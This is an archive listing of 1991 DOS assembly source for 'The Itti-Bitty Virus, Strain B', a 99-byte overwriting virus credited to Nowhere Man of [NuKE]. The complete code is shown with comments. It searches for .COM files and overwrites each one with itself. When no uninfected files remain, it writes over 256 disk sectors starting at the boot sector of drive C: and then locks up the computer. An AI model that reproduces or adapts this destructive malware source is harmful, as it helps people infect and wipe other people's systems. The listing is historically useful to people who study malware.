home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / ITTI-B.ASM < prev    next >
Assembly Source File  |  1991-12-25  |  3KB  |  96 lines

  1. ; The Itti-Bitty Virus, Strain B
  2. ; The smallest virus ever written (only 99 bytes)
  3. ;
  4. ; (C) 1991 Nowhere Man and [NuKE] WaErZ
  5. ; Written by Nowhere Man
  6. ;
  7. ;
  8.  
  9.     title   "The Itti-Bitty Virus, Strain B:  Even smaller"
  10.  
  11.         code    segment 'CODE'
  12.                 assume cs:code,ds:code,es:code,ss:code
  13.  
  14.                 org     0100h
  15.  
  16. code_length     equ     finish - start
  17.  
  18. start           label   near
  19.                
  20. id_bytes    proc    near
  21.         mov    si,si                   ; Serves no purpose:  our ID
  22. id_bytes    endp
  23.  
  24. main            proc    near
  25.         mov     ah,04Eh            ; DOS find first file function
  26.         mov     cx,00100111b        ; CX holds attribute mask
  27.         mov     dx,offset com_spec    ; DX points to "*.COM"
  28.  
  29. file_loop:      int     021h
  30.         jc      go_off            ; If there are no files, go off
  31.  
  32.         call    infect_file        ; Try to infect found file
  33.         jne     exit_virus        ; Exit if successful
  34.  
  35.                 mov     ah,04Fh            ; DOS find next file function
  36.         jmp    short file_loop        ; Repeat until out of files
  37.  
  38. exit_virus:     mov    ax,04C01h        ; DOS terminate function, code 1
  39.         int     021h
  40. main            endp
  41.  
  42. go_off          proc    near
  43.         cli                ; Prevent all interrupts
  44.  
  45.         mov    ah,2            ; AH holds drive number (C:)
  46.         cwd                             ; Start with sector 0 (boot sector)
  47.         mov    cx,0100h        ; Write 256 sectors (fucks disk)
  48.         int    026h            ; DOS absolute write interrupt
  49.  
  50.         jmp    $            ; Infinite loop; lock up computer
  51. go_off          endp
  52.  
  53. infect_file     proc    near
  54.         mov     ax,03D02h               ; DOS open file function, read-write
  55.         mov    dx,09Eh            ; DX points to the victim
  56.         int     021h
  57.  
  58.                 xchg    bx,ax                   ; BX holds file handle
  59.  
  60.         mov     ah,03Fh                 ; DOS read from file function
  61.         mov     cx,2                    ; CX holds byte to read (2)
  62.         mov     dx,offset buffer        ; DX points to buffer
  63.         int     021h
  64.  
  65.         cmp    word ptr [buffer],0F68Bh ; Are the two bytes "MOV SI,SI"
  66.         pushf                ; Save flags
  67.         je      close_it_up        ; If not, then file is OK
  68.  
  69.         cwd                             ; Zero CX \_ Zero bytes from start
  70.         mov    cx,dx            ; Zero DX /
  71.         mov    ax,04200h        ; DOS file seek function, start
  72.         int    021h
  73.  
  74.         mov     ah,040h                 ; DOS write to file function
  75.         mov     cx,code_length          ; CX holds virus length
  76.         mov     dx,offset start         ; DX points to start of virus
  77.         int     021h
  78.  
  79. close_it_up:    mov     ah,03Eh                 ; DOS close file function
  80.         int     021h
  81.  
  82.         popf                ; Restore flags
  83.         ret                ; Return to caller
  84.  
  85. buffer          dw      ?            ; Buffer to hold test data
  86. infect_file    endp
  87.  
  88.  
  89. ; Initialized data goes here
  90.  
  91. com_spec        db      "*.COM",0        ; What to infect:  all COM files
  92.  
  93. finish          label   near
  94.  
  95. code            ends
  96.         end    id_bytes